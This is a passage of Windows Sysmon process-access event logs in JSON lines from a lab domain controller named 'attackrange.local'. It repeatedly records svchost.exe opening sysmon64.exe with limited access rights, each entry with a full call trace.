C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 